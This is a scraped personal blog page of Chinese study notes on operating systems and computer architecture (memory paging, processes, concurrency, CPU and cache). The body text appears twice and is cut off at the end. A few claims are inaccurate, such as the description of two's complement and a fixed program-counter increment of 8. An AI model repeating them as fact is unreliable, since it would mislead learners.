Kernel：可并发（同时存在多个运行的应用）。可共享，可虚拟，可异步\n微内核：尽可能将内核功能移植到用户空间，缺点就是性能低\n外核和内核：一个负责硬件，一个负责软件\nDISK（硬盘存储）：存储OS\nBIOS：基本I/O处理系统（加载外设以及加载软件来运行OS） （basic I/O system)\nBootLoader：加载OS\nPOST（加电自检，查找显卡和执行BIOS）\n系统调度：来源于“合法”的应用向系统发出服务请求的（同步或者异布）\n异常：来源于“不良”的应用非法指令（或者应用意想不到的请求，应用无法获得资源需求）（同步）\n中断：来源于外设对于硬件设备和网络中断（异步）\n逻辑化地址空间，独立地址空间，可访问相同内存，更多内存空间（虚拟化）\n物理地址空间：硬件支持的地址空间\n逻辑地址空间：应用程序拥有的内存范围\n操作系统为了运行多个程序，进行了内存地址的隔离（分配独立的虚拟内存地址），虚拟内存地址和物理内存地址是映射关系\n应用逻辑地址映射到物理地址\nCPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）寻找逻辑地址和物理地址之间的映射，控制器将从总线发送物理地址的内存内容的请求\n内存发送物理地址内存内容给CPU（告诉CPU，物理地址找到了），建立逻辑地址和物理地址之间的映射（确保应用互不干扰）\n虚拟地址和物理地址的映射关系管理\n内存分段（内存被看成一组不同长度的段）\n内存分段下的虚拟地址分为段选择⼦和段内偏移量\n段选择⼦保存在段寄存器中，段选择⼦其中的段号被用于段表的索引，段表中保存的是这个段的基地址和段界限等等\n而段内偏移量是位于0和段界限之间的，如果段内偏移量合法，那么段内偏移量加段的基地址得到物理内存地址\n分段的内存碎片问题，如果某个程序占用了128mb内存，然后该程序被关闭了，释放128mb内存，如果这个128mb内存不是连续的，而是被分段了，这将导致没有内存空间打开另一个内存占用128mb的程序\n内存分页（将物理内存和虚拟内存切成一段段固定大小的内存空间）\n内存分页解决了内存分段的内存碎片问题，其释放内存是以页为单位释放的，当内存空间不够，会释放其他正在运行的进程的没使用的内存页面\n内存分页下的虚拟地址被分为页号和页内偏移，页好为页表的索引，页表保存着物理页的所在物理内存的基地址，基地址和页内偏移组成物理内存地址\n内存分页的缺点就是在运行多线程时，页表会非常大，所以出现了多级⻚表（将页表分成一级一级的）\n段⻚式内存管理（内存分段和内存分页的结合体）\n先将内存分为多个段，再将每个端分为多个页，地址通过段号，段内⻚号和⻚内位移组成\n连续性内存管理（内存碎片和分区的动态分配）\n外部碎片：在分配单元间的未使用内存\n内部碎片：在分配单元中的未使用内存\n当一个应用被批准运行在内存中时，分配一个连续的区间，来给运行的应用访问数据\n动态分配的策略：当想分配某字节，先从低地址找，找到第一个被某字节大的空闲块，就使用它\n动态分配的缺点就是外部碎片严重\n非连续内存分配\n分段Segmentation：\n逻辑地址空间连续，物理地址离散\n一个段表示一个内存块，一个逻辑地址空间，应用访问内存地址的时候，需要个二维的二元组\n虚拟内存：\n早期内存不够应用消耗，应用的规模比存储器的容器大\n当应用太大，超出内存，可采用手动的覆盖(overlay) 技术，只把需要的指令和数据保存在内存中\n当应用太多，超出内存，可采用自动的交换(swapping) 技术，把暂时不能执行的程序送到外存（磁盘）中\n进程和线程：\n进程状态(state)，线程(thread)，进程间通信(inter-process communication)，进程互斥与同步，死锁(deadlock)\n进程包含正在运行的应用的全部状态信息\n进程可动态化创建，结束进程，可以被独立调度并占用处理，不同的进程互不影响，可访问共享数据或者资源\n进程控制块(process control block, PCB)：进程的数据结构，操作系统管理控制进程运行所用的信息集合，操作系统为每一个进程都维护了一个PCB，用来存储保存和该进程有关的状态信息\n进程是操作系统最小可调度的资源单位\n多个程序运行在单核心CPU服务器上，实质就是在共享时间片（时间片，操作系统将某个程序分配到某段CPU时间上，单核是无法同时运行多个程序的，只能共享时间片，而进程就是因此而生）\n进程状态有3种，分别是运行，阻塞以及就绪\n运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用\n运行可切换到阻塞状态\n阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态\n进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了\n进程发生阻塞时，该进程将放弃CPU使用权，CPU会执行下一个就绪状态的进程\n中断和中断向量\n当程序发生中断（CPU暂时中断当前正在运行的程序），CPU转去处理其他的程序（也可能是处理内存的数据），当CPU处理完毕，CPU可恢复到之前被暂时中断当前正在运行的程序的状态，这个过程叫中断\n中断向量就是中断程序的入口地址\n中断发生时，该进程会第一时间保存被中断程序的状态，会将相关数据保存到寄存器，当CPU通过中断向量，跳转到处理中断程序中去，并且执行中断程序，然后决定下一个执行哪个程序，如果这个程序正好是之前被中断的，会从寄存器中读取相关数据。恢复到之前中断的执行状态\n任何进程都需要排队等待\n进程中断和进程阻塞的区别：中断是由于一些优先级比较高的需要CPU处理而被迫中断执行，而阻塞是因为进程需要一些依赖，但是依赖没有就位，需要等待就位，该进程就会进入到阻塞队列中，当依赖就位，就恢复到就绪状态，等待进程调度系统分配CPU执行权\n进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源的分配和调度的基本单位，每个进程都拥有一个自己的地址空间，进程至少有5种基本状态，分别是：初始状态，执行状态，等待状态，就绪状态，终止状态\n线程（Thread）是进程的执行实例，是程序执行的最小单位，是操作系统能够进行运算调度的最小单位，一个进程可以创建多个线程，同一个进程的线程共享进程的内存信息，同一个进程的多个可以并发执行，一个线程要执行，必须至少有一个进程\n并发和并行的区别\n并发：指一个时间段中有多个线程（程序）被快速的轮换执行（处于启动运行到运行完毕之间），在一个时间段中只有一个线程（程序）在执行，在宏观上感觉是多个线程同时被处理，如果多线程操作在一个cpu上，操作系统将cpu运行时间分隔为若干个时间段，将时间段分配给各个线程执行，在一个时间段的线程执行时，其他线程将处于挂起状态，这就叫并发\n并行：当系统拥有多个cpu（1个以上）时，一个cpu执行一个线程，另一个线程执行另一个线程，同时进行处理，这就叫并行\n并发和并行的区别：并发一个时间段只能执行一个线程（多个线程需要排队执行），并行可以在一个时间段中同时执行多个线程\n当多线程程序在单核CPU上执行时，就是并发，在多核CPU执行时，就是并行，当线程数大于CPU核数，那么既有并行又有并发\n进程调度的性能消耗太大，因为进程调度会导致进程中断，不但需要将数据保存在寄存器中，恢复进程还需要从寄存器中读取数据，而调度线程的性能消耗就很小，线程是进程的执行单元，一个进程中最少存在一个线程\n进程的竞争和临界区\n临界区：指的是共享内存中的程序片段\n当两个进程同时访问了临界区，而临界区中的数据正好不能被同时访问，例如进程A读取了临界区中的某个内存，并且修改了这个内存，但是进程B正好在读取该临界区的这个内存，导致读取的数据是错的，而解决这个问题的最简单方法就是互斥，当一个进程在该临界区中时，其他进程不能进入，需要排队等待，而且不能过于长时间的占用临界区，临界区外的进程不影响到临界区内的进程\n死锁：当多个进程因为竞争资源或者进程通信而导致的阻塞现象，进程在互相等待，无法进行下一步操作\n严格轮换法，Peterson算法\n严格轮换法简单来说就是声明一个状态，某个进程进入临界区时，状态为1，出来的时候状态为0，当其他进程看到状态为1时，等待该进程出来，看到状态为0时，进入临界区\nPeterson算法是严格轮换法的优化版，实现了互斥的同时又避免的死锁\nPeterson算法的思路是声明2个状态（一个是正在使用临界区的状态，另一个是想进入临界区的状态），当一个进程想进入临界区时，会检查一下其他进程是否想进入临界区，如果存在其他进程想进入临界区，则等待\nFHS规范（3.0），全称Filesystem Hierarchy Standard，中文翻译为文件系统层次结构标准，用于定义根目录以及一级子目录的规范，大多数Linux版本使用该标准来定义文件系统（并不一定完全符合规范，只是大概上符合）\nFHS规范定义了系统各个目录应该要放什么文件数据，以及所需要的文件和目录\n例如：规范某一些文件或者目录可以分享或者不可以分享给给其他人使用\nFHS规范了根目录(/)，以及根目录的子目录etc（配置文件），bin（必要软件或者命令），usr（二级目录），home（当前用户的家目录），var（动态数据）\nLinux文件系统—VFS（虚拟文件系统）（Linux下一切都是文件）\nVFS不需要考虑不同文件系统和存储介质的差异，因为其内核抽象出了通用的文件系统接口，只要符合接口标准，一些文件或者比较特殊的文件系统都是可以兼容\nVFS抽象对象，超级块：文件系统，目录项：文件的路径，索引节点：具体文件（操作文件的具体信息），文件：进程打开的文件。都有自己的接口来操作\nXFS（高性能64位日志文件系统），带有日志功能防丢数据，原生提供备份工具（xfsdump/sfsrestore）\n图灵机和冯诺依曼模型\n图灵机实质就是机器模拟人类在纸上进行数学运算，先将数值写到一个纸带的小方格中，再通过读写头来读取小方格里面的信息\n这个读写头具备存储，运算，控制功能。存储读取的数据以及运算出来的数据，可执行运算指令，可识别数据是运算指令（例如加号，减号等等运算符号）还是数字\n冯诺依曼模型（约定使用二进制来存储和计算数据，并且定义计算机基本结构，CPU，内存，输入设备，输出设备，总线，具备这5个部分的计算机就是冯诺依曼模型）\nCPU：中央处理器，64位处理器（64位指的CPU的位宽，位宽决定了处理器一次可以计算处理多少字节的数据，64位处理器可以一次计算8个字节）\nCPU内部还有寄存器（存储CPU计算时的数据），运算单元（负责计算），控制单元（控制CPU工作）\n常见的寄存器有：通用寄存器（存储需要进行计算的数据），程序计数器（存储CPU要执行下一个指令的内存地址），指令寄存器（存储程序计数器指向的指令）\n总线（CPU和其他设备之间的通信，总线被分为3种，地址总线（传送外部存储器（内存）的地址），控制总线（用来传输和接收控制信号），数据总线（传送内存的数据信息，数据总线又分单向传输，双向传输））\n输入输出设备（输入设备通过控制总线和CPU通信，CPU处理后，将数据输出给输出设备）\n线路传输：通过电压来传输数据，低电压表示0，高电压表示1，一条线路可传输1bit的数据（二进制，0或1）\n32位处理器的最大寻址空间为2的32次方（4294967296，大概4GB左右），所以32位CPU（或者操作系统）只能操作4G内存（而64位理论上寻址范围高达2的64次方）\nCPU执行过程：CPU读取程序计数器的值（指令内存地址），控制单元通过地址总线访问到内存，并且通过数据总线获取数据给CPU，CPU接收到数据，将该数据存储在指令寄存器，CPU处理指令寄存器的数据，确定数据的类型，如果是计算类，就交给运算单元处理，如果是存储类，就交给控制单元处理，CPU处理完毕后，程序计数器的值自增（用来表示下一条指令，自增取决于CPU的位宽，如果是64位处理器就是自增8（因为64位一次性处理8个字节数据，一个字节数据需要一个地址来存放））\nCPU会不断执行该过程，直到结束（这个过程叫CPU的指令周期）\nCPU的执行速度取决于指令的执行速度，而指令的执行速度取决于CPU的时钟频率（Ghz），例如我电脑的CPU是 2.10 GHz的，这个 2.10 GHz指的是1秒内可以产生2.1G次数的脉冲信号，而每一次脉冲信号的高低电平的转换就是时钟周期（振荡周期）\n时钟频率越高，时钟周期越低，CPU的处理速度越快\n存储器\n内存断电，数据会丢失，而硬盘不会，因为硬盘是持久化存储，而且CPU内部也有存储器（只不过其能存储的数据很小）\n寄存器处理速度最快，再到CPU Cache（中⽂称为CPU缓存，一般分为L1,L2,L3这样的缓存层，比如我电脑的r5 3550h的一级缓存为384KB，二级缓存为2MB，三级缓存为4MB，二级缓存是一级缓存的缓冲器，三级缓存是二级缓存的缓冲器）\n然后再到内存，最后是硬盘\n一个主频为2.1Ghz的CPU，表示其1秒内完成2.1x10的9次方个时钟周期\nCPU Cachee使用了⼀种叫 静态随机存取存储器（Static Random-Access Memory，SRAM）的存储器，一旦断电就会丢失数据\n每个CPU核心都有属于自己的L1缓存和L2缓存，而L3缓存一般是多核心共享的\n内存使用的是一种叫动态随机存取存储器（Dynamic Random Access Memory，DRAM）的存储器\nSRAM存储1bit的数据，一般情况需要6个晶体管，而DRAM只需要一个晶体管和一个电容\n硬盘就是固体硬盘（分为HDD硬盘（Hard Disk Drive）和SSD硬盘(Solid-state disk)），HDD硬盘结构和内存相似，但是和内存，缓存之类的不同的是其断电，数据不会丢失\nCPU Cachee的数据是从内存中获取的，通过Cache Line（缓存块）来一块一块获取，L1缓存一般分为数据缓存和指令缓存\n补码：将正数的二进制全部取反再加1，补码被用于处理负数\n十进制小数转二进制用的是乘2取整法（将小数部分乘以2，作为二进制的一位，一直到不存在小数，整数还是用除2法，再合并就是小数的二进制结果）\n不是所有小数都可以乘2取整的，例如0.1就不能取整，无法使用二进制精确表示0.1，只能使用近似值来表示，这将导致精度缺失的情况发生\n操作系统内核：连接硬件设备的桥梁，应用只需要和内核交互，无需关注硬件，内核已提供访问硬件的接口\n现代操作系统内核支持进程调度，内存管理，硬件通信，提供系统接口等功能\n内核权限很高，并且将内存分称2个部分，分别是内核空间（只有内核程序可访问），用户空间（专门提供给应用使用）\n当程序在使用用户空间时，那么该程序在用户态执行，如果在使用内核空间，那么该程序在内核态执行\n内核一般分为三种，宏内核（Linux为代表，整个内核是一个完整的程序），微内核（具备一个小内核，一些服务或者模块由用户态来管理）以及混合内核（宏内核和微内核的结合体，windows为代表）\n计算机的输入，输出，状态转换函数F\n状态描述：一切可使用数字描述\n输入：晶振（时间输入，CPU周期，时钟驱动CPU工作），外界输入设备\n输出：打印机，显示器\n机械计算机：差分机（巴贝奇，多项式求值）\n图灵机\n冯 诺依曼模型\nCPU的工作原理（内存，寄存器，ALU（算数逻辑单元））\n数据空间地址和指令空间地址\n指令\n通过指令来控制计算机工作，CPU被时钟驱动，并且不断读取指针指向的指令，从内存读取指令然后执行指令\n不同的cpu架构使用不同的指令集，常见的指令集有RISC（Reduced Instruction Set Computing，精简指令集），CISC（Complex Instruction Set Computing，复杂指令集）\nRISC中代表的有arm指令集，CISC中代表的有x86指令集\nRISC的特点就是CPU单元电路少，面积小，功耗低（只进行二进制处理器指令）\nCISC的特定就是CPU单元电路多，面积大，功耗大（进行复杂指令）\n寻址模式，浮点数，指令分类\n寻址模式（指令集的一部分，表示指令有哪些操作符，地址应该怎么计算）\n寄存器寻址，立即寻址，偏移量寻址（基地址，偏移量），PC相对寻址\n内存读写（load/store指令），加减乘除（add，sub，div，mult）。\n操作系统的并发性（2个事件及2个以上事件在一段时间内发生，就叫并发，并发是单核CPU的知识点），共享性（操作系统的资源可以提供给多个并发程序使用，互斥共享，同时访问（一段时间内并发访问资源）），虚拟性（将物理设备虚拟成多个逻辑实体，虚拟技术有时分复用（分时使用硬件资源，例如虚拟处理器技术，就是将多个程序分时复用处理器资源，虚拟设备技术，就是将物理设备虚拟成多个逻辑设备，一个程序使用一个逻辑设备，通过逻辑设备来并发访问真实的物理设备），空分复用技术（虚拟磁盘技术（将物理磁盘虚拟成多个逻辑盘），虚拟内存技术（可使用比实际内存更大的内存空间））），异步性（允许多进程并发执行）\n","wordCount":"182","inLanguage":"en","datePublished":"2021-10-07T09:00:00Z","dateModified":"2021-10-07T09:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/115/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>操作系统学习笔记</h1><div class=post-meta><span title='2021-10-07 09:00:00 +0000 UTC'>2021-10-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e6%93%8d%e4%bd%9c%e7%b3%bb%e7%bb%9f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统</p><p>常见操作系统有Windows，Linux，Android</p><p>操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互</p><p>操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等</p><p>操作系统的架构的层次是在硬件之上，应用之下</p><p>OS Kernel：可并发（同时存在多个运行的应用）。可共享，可虚拟，可异步</p><p>微内核：尽可能将内核功能移植到用户空间，缺点就是性能低</p><p>外核和内核：一个负责硬件，一个负责软件</p><p>DISK（硬盘存储）：存储OS</p><p>BIOS：基本I/O处理系统（加载外设以及加载软件来运行OS） （basic I/O system)</p><p>BootLoader：加载OS</p><p>POST（加电自检，查找显卡和执行BIOS）</p><p>系统调度：来源于“合法”的应用向系统发出服务请求的（同步或者异布）</p><p>异常：来源于“不良”的应用非法指令（或者应用意想不到的请求，应用无法获得资源需求）（同步）</p><p>中断：来源于外设对于硬件设备和网络中断（异步）</p><p>逻辑化地址空间，独立地址空间，可访问相同内存，更多内存空间（虚拟化）</p><p>物理地址空间：硬件支持的地址空间</p><p>逻辑地址空间：应用程序拥有的内存范围</p><p>操作系统为了运行多个程序，进行了内存地址的隔离（分配独立的虚拟内存地址），虚拟内存地址和物理内存地址是映射关系</p><p>应用逻辑地址映射到物理地址</p><p>CPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）寻找逻辑地址和物理地址之间的映射，控制器将从总线发送物理地址的内存内容的请求</p><p>内存发送物理地址内存内容给CPU（告诉CPU，物理地址找到了），建立逻辑地址和物理地址之间的映射（确保应用互不干扰）</p><p>虚拟地址和物理地址的映射关系管理</p><p>内存分段（内存被看成一组不同长度的段）</p><p>内存分段下的虚拟地址分为段选择⼦和段内偏移量</p><p>段选择⼦保存在段寄存器中，段选择⼦其中的段号被用于段表的索引，段表中保存的是这个段的基地址和段界限等等</p><p>而段内偏移量是位于0和段界限之间的，如果段内偏移量合法，那么段内偏移量加段的基地址得到物理内存地址</p><p>分段的内存碎片问题，如果某个程序占用了128mb内存，然后该程序被关闭了，释放128mb内存，如果这个128mb内存不是连续的，而是被分段了，这将导致没有内存空间打开另一个内存占用128mb的程序</p><p>内存分页（将物理内存和虚拟内存切成一段段固定大小的内存空间）</p><p>内存分页解决了内存分段的内存碎片问题，其释放内存是以页为单位释放的，当内存空间不够，会释放其他正在运行的进程的没使用的内存页面</p><p>内存分页下的虚拟地址被分为页号和页内偏移，页好为页表的索引，页表保存着物理页的所在物理内存的基地址，基地址和页内偏移组成物理内存地址</p><p>内存分页的缺点就是在运行多线程时，页表会非常大，所以出现了多级⻚表（将页表分成一级一级的）</p><p>段⻚式内存管理（内存分段和内存分页的结合体）</p><p>先将内存分为多个段，再将每个端分为多个页，地址通过段号，段内⻚号和⻚内位移组成</p><p>连续性内存管理（内存碎片和分区的动态分配）</p><p>外部碎片：在分配单元间的未使用内存</p><p>内部碎片：在分配单元中的未使用内存</p><p>当一个应用被批准运行在内存中时，分配一个连续的区间，来给运行的应用访问数据</p><p>动态分配的策略：当想分配某字节，先从低地址找，找到第一个被某字节大的空闲块，就使用它</p><p>动态分配的缺点就是外部碎片严重</p><p>非连续内存分配</p><p>分段Segmentation：</p><p>逻辑地址空间连续，物理地址离散</p><p>一个段表示一个内存块，一个逻辑地址空间，应用访问内存地址的时候，需要个二维的二元组</p><p>虚拟内存：</p><p>早期内存不够应用消耗，应用的规模比存储器的容器大</p><p>当应用太大，超出内存，可采用手动的覆盖(overlay) 技术，只把需要的指令和数据保存在内存中</p><p>当应用太多，超出内存，可采用自动的交换(swapping) 技术，把暂时不能执行的程序送到外存（磁盘）中</p><p>进程和线程：</p><p>进程状态(state)，线程(thread)，进程间通信(inter-process communication)，进程互斥与同步，死锁(deadlock)</p><p>进程包含正在运行的应用的全部状态信息</p><p>进程可动态化创建，结束进程，可以被独立调度并占用处理，不同的进程互不影响，可访问共享数据或者资源</p><p>进程控制块(process control block, PCB)：进程的数据结构，操作系统管理控制进程运行所用的信息集合，操作系统为每一个进程都维护了一个PCB，用来存储保存和该进程有关的状态信息</p><p>进程是操作系统最小可调度的资源单位</p><p>多个程序运行在单核心CPU服务器上，实质就是在共享时间片（时间片，操作系统将某个程序分配到某段CPU时间上，单核是无法同时运行多个程序的，只能共享时间片，而进程就是因此而生）</p><p>进程状态有3种，分别是运行，阻塞以及就绪</p><p>运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用</p><p>运行可切换到阻塞状态</p><p>阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态</p><p>进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了</p><p>进程发生阻塞时，该进程将放弃CPU使用权，CPU会执行下一个就绪状态的进程</p><p>中断和中断向量</p><p>当程序发生中断（CPU暂时中断当前正在运行的程序），CPU转去处理其他的程序（也可能是处理内存的数据），当CPU处理完毕，CPU可恢复到之前被暂时中断当前正在运行的程序的状态，这个过程叫中断</p><p>中断向量就是中断程序的入口地址</p><p>中断发生时，该进程会第一时间保存被中断程序的状态，会将相关数据保存到寄存器，当CPU通过中断向量，跳转到处理中断程序中去，并且执行中断程序，然后决定下一个执行哪个程序，如果这个程序正好是之前被中断的，会从寄存器中读取相关数据。恢复到之前中断的执行状态</p><p>任何进程都需要排队等待</p><p>进程中断和进程阻塞的区别：中断是由于一些优先级比较高的需要CPU处理而被迫中断执行，而阻塞是因为进程需要一些依赖，但是依赖没有就位，需要等待就位，该进程就会进入到阻塞队列中，当依赖就位，就恢复到就绪状态，等待进程调度系统分配CPU执行权</p><p>进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源的分配和调度的基本单位，每个进程都拥有一个自己的地址空间，进程至少有5种基本状态，分别是：初始状态，执行状态，等待状态，就绪状态，终止状态</p><p>线程（Thread）是进程的执行实例，是程序执行的最小单位，是操作系统能够进行运算调度的最小单位，一个进程可以创建多个线程，同一个进程的线程共享进程的内存信息，同一个进程的多个可以并发执行，一个线程要执行，必须至少有一个进程</p><p>并发和并行的区别</p><p>并发：指一个时间段中有多个线程（程序）被快速的轮换执行（处于启动运行到运行完毕之间），在一个时间段中只有一个线程（程序）在执行，在宏观上感觉是多个线程同时被处理，如果多线程操作在一个cpu上，操作系统将cpu运行时间分隔为若干个时间段，将时间段分配给各个线程执行，在一个时间段的线程执行时，其他线程将处于挂起状态，这就叫并发</p><p>并行：当系统拥有多个cpu（1个以上）时，一个cpu执行一个线程，另一个线程执行另一个线程，同时进行处理，这就叫并行</p><p>并发和并行的区别：并发一个时间段只能执行一个线程（多个线程需要排队执行），并行可以在一个时间段中同时执行多个线程</p><p>当多线程程序在单核CPU上执行时，就是并发，在多核CPU执行时，就是并行，当线程数大于CPU核数，那么既有并行又有并发</p><p>进程调度的性能消耗太大，因为进程调度会导致进程中断，不但需要将数据保存在寄存器中，恢复进程还需要从寄存器中读取数据，而调度线程的性能消耗就很小，线程是进程的执行单元，一个进程中最少存在一个线程</p><p>进程的竞争和临界区</p><p>临界区：指的是共享内存中的程序片段</p><p>当两个进程同时访问了临界区，而临界区中的数据正好不能被同时访问，例如进程A读取了临界区中的某个内存，并且修改了这个内存，但是进程B正好在读取该临界区的这个内存，导致读取的数据是错的，而解决这个问题的最简单方法就是互斥，当一个进程在该临界区中时，其他进程不能进入，需要排队等待，而且不能过于长时间的占用临界区，临界区外的进程不影响到临界区内的进程</p><p>死锁：当多个进程因为竞争资源或者进程通信而导致的阻塞现象，进程在互相等待，无法进行下一步操作</p><p>严格轮换法，Peterson算法</p><p>严格轮换法简单来说就是声明一个状态，某个进程进入临界区时，状态为1，出来的时候状态为0，当其他进程看到状态为1时，等待该进程出来，看到状态为0时，进入临界区</p><p>Peterson算法是严格轮换法的优化版，实现了互斥的同时又避免的死锁</p><p>Peterson算法的思路是声明2个状态（一个是正在使用临界区的状态，另一个是想进入临界区的状态），当一个进程想进入临界区时，会检查一下其他进程是否想进入临界区，如果存在其他进程想进入临界区，则等待</p><hr><p>FHS规范（3.0），全称Filesystem Hierarchy Standard，中文翻译为文件系统层次结构标准，用于定义根目录以及一级子目录的规范，大多数Linux版本使用该标准来定义文件系统（并不一定完全符合规范，只是大概上符合）</p><p>FHS规范定义了系统各个目录应该要放什么文件数据，以及所需要的文件和目录</p><p>例如：规范某一些文件或者目录可以分享或者不可以分享给给其他人使用</p><p>FHS规范了根目录(/)，以及根目录的子目录etc（配置文件），bin（必要软件或者命令），usr（二级目录），home（当前用户的家目录），var（动态数据）</p><p>Linux文件系统&mdash;VFS（虚拟文件系统）（Linux下一切都是文件）</p><p>VFS不需要考虑不同文件系统和存储介质的差异，因为其内核抽象出了通用的文件系统接口，只要符合接口标准，一些文件或者比较特殊的文件系统都是可以兼容</p><p>VFS抽象对象，超级块：文件系统，目录项：文件的路径，索引节点：具体文件（操作文件的具体信息），文件：进程打开的文件。都有自己的接口来操作</p><p>XFS（高性能64位日志文件系统），带有日志功能防丢数据，原生提供备份工具（xfsdump/sfsrestore）</p><hr><p>图灵机和冯诺依曼模型</p><p>图灵机实质就是机器模拟人类在纸上进行数学运算，先将数值写到一个纸带的小方格中，再通过读写头来读取小方格里面的信息</p><p>这个读写头具备存储，运算，控制功能。存储读取的数据以及运算出来的数据，可执行运算指令，可识别数据是运算指令（例如加号，减号等等运算符号）还是数字</p><p>冯诺依曼模型（约定使用二进制来存储和计算数据，并且定义计算机基本结构，CPU，内存，输入设备，输出设备，总线，具备这5个部分的计算机就是冯诺依曼模型）</p><p>CPU：中央处理器，64位处理器（64位指的CPU的位宽，位宽决定了处理器一次可以计算处理多少字节的数据，64位处理器可以一次计算8个字节）</p><p>CPU内部还有寄存器（存储CPU计算时的数据），运算单元（负责计算），控制单元（控制CPU工作）</p><p>常见的寄存器有：通用寄存器（存储需要进行计算的数据），程序计数器（存储CPU要执行下一个指令的内存地址），指令寄存器（存储程序计数器指向的指令）</p><p>总线（CPU和其他设备之间的通信，总线被分为3种，地址总线（传送外部存储器（内存）的地址），控制总线（用来传输和接收控制信号），数据总线（传送内存的数据信息，数据总线又分单向传输，双向传输））</p><p>输入输出设备（输入设备通过控制总线和CPU通信，CPU处理后，将数据输出给输出设备）</p><p>线路传输：通过电压来传输数据，低电压表示0，高电压表示1，一条线路可传输1bit的数据（二进制，0或1）</p><p>32位处理器的最大寻址空间为2的32次方（4294967296，大概4GB左右），所以32位CPU（或者操作系统）只能操作4G内存（而64位理论上寻址范围高达2的64次方）</p><p>CPU执行过程：CPU读取程序计数器的值（指令内存地址），控制单元通过地址总线访问到内存，并且通过数据总线获取数据给CPU，CPU接收到数据，将该数据存储在指令寄存器，CPU处理指令寄存器的数据，确定数据的类型，如果是计算类，就交给运算单元处理，如果是存储类，就交给控制单元处理，CPU处理完毕后，程序计数器的值自增（用来表示下一条指令，自增取决于CPU的位宽，如果是64位处理器就是自增8（因为64位一次性处理8个字节数据，一个字节数据需要一个地址来存放））</p><p>CPU会不断执行该过程，直到结束（这个过程叫CPU的指令周期）</p><p>CPU的执行速度取决于指令的执行速度，而指令的执行速度取决于CPU的时钟频率（Ghz），例如我电脑的CPU是 2.10 GHz的，这个 2.10 GHz指的是1秒内可以产生2.1G次数的脉冲信号，而每一次脉冲信号的高低电平的转换就是时钟周期（振荡周期）</p><p>时钟频率越高，时钟周期越低，CPU的处理速度越快</p><hr><p>存储器</p><p>内存断电，数据会丢失，而硬盘不会，因为硬盘是持久化存储，而且CPU内部也有存储器（只不过其能存储的数据很小）</p><p>寄存器处理速度最快，再到CPU Cache（中⽂称为CPU缓存，一般分为L1,L2,L3这样的缓存层，比如我电脑的r5 3550h的一级缓存为384KB，二级缓存为2MB，三级缓存为4MB，二级缓存是一级缓存的缓冲器，三级缓存是二级缓存的缓冲器）</p><p>然后再到内存，最后是硬盘</p><p>一个主频为2.1Ghz的CPU，表示其1秒内完成2.1x10的9次方个时钟周期</p><p>CPU Cachee使用了⼀种叫 静态随机存取存储器（Static Random-Access 